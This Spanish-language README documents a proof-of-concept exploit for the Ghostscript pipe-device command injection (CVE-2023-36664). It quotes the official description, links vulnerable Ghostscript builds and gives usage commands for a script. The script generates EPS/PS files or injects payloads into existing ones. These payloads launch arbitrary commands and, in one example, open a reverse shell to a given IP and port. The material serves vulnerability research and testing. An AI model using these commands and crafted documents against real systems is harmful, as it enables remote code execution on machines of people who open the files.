
Exploit de prueba de concepto para la inyección de comandos en Ghostscript (CVE-2023-36664) con generación de payload e inyección en archivos EPS/PS para ejecución de código.
Vulnerabilidad divulgada en Ghostscript anterior a la versión 10.01.2 que permite la ejecución de código (puntuación CVSS 9.8).
Descripción oficial de la vulnerabilidad:
Artifex Ghostscript hasta la versión 10.01.2 maneja incorrectamente la validación de permisos para dispositivos pipe (con el prefijo %pipe% o el carácter pipe |).
Debian publicó un aviso de seguridad mencionando la posible ejecución de comandos arbitrarios:
"Se descubrió que Ghostscript, el intérprete GPL de PostScript/PDF, no maneja correctamente la validación de permisos para dispositivos pipe, lo que podría resultar en la ejecución de comandos arbitrarios si se procesan archivos de documentos malformados."
Este repositorio fue creado para una publicación de blog de análisis de CVE disponible en el blog de vsociety.
Descargue Ghostscript 10.01.1 aquí: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs10011 Enlace directo al ejecutable de Windows x64: https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/gs10011w64.exe
La explotación puede ocurrir al abrir un archivo PS o EPS y puede permitir la ejecución de código causada por el manejo incorrecto de la validación de permisos para dispositivos pipe por parte de Ghostscript.
Uso: python3 CVE_2023_36664_exploit.py <archivo_entrada> <comando>
Ejemplo:
python3 CVE_2023_36664_exploit.py file.eps "calc"
Esto genera un nuevo archivo llamado file_injected.eps.
Ábralo con Ghostscript para activar la calculadora (desde la versión 9.50 también debe usar la opción -dNOSAFER):
gs10011w64.exe -dNOSAFER .\file_injected.eps
Otros ejemplos: Generar un nuevo archivo EPS llamado run_calculator.eps con el payload "calc" (abre una nueva calculadora en Windows)
python3 CVE_2023_36664_exploit.py --generate --payload calc --filename run_calculator --extension eps
Generar un nuevo archivo EPS llamado rev_shell.eps con una IP personalizada (inicia una reverse shell al activarse en Unix)
python3 CVE_2023_36664_exploit.py --generate --revshell -ip 10.10.10.10 -port 4242 --filename trigger_revshell --extension eps
Generar un nuevo archivo PS malicius.ps con el payload "calc" (abre una nueva calculadora en Windows)
python3 CVE_2023_36664_exploit.py -g -p "calc" -x ps
Inyectar un payload personalizado malicioso ("calc") en un archivo existente llamado file.eps (abre una nueva calculadora en Windows)
python3 CVE_2023_36664_exploit.py --inject --payload "calc" --filename file.eps
Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto cuando esté explícitamente autorizado. Los mantenedores del proyecto no son responsables ni están obligados por el mal uso del software. Úselo con responsabilidad.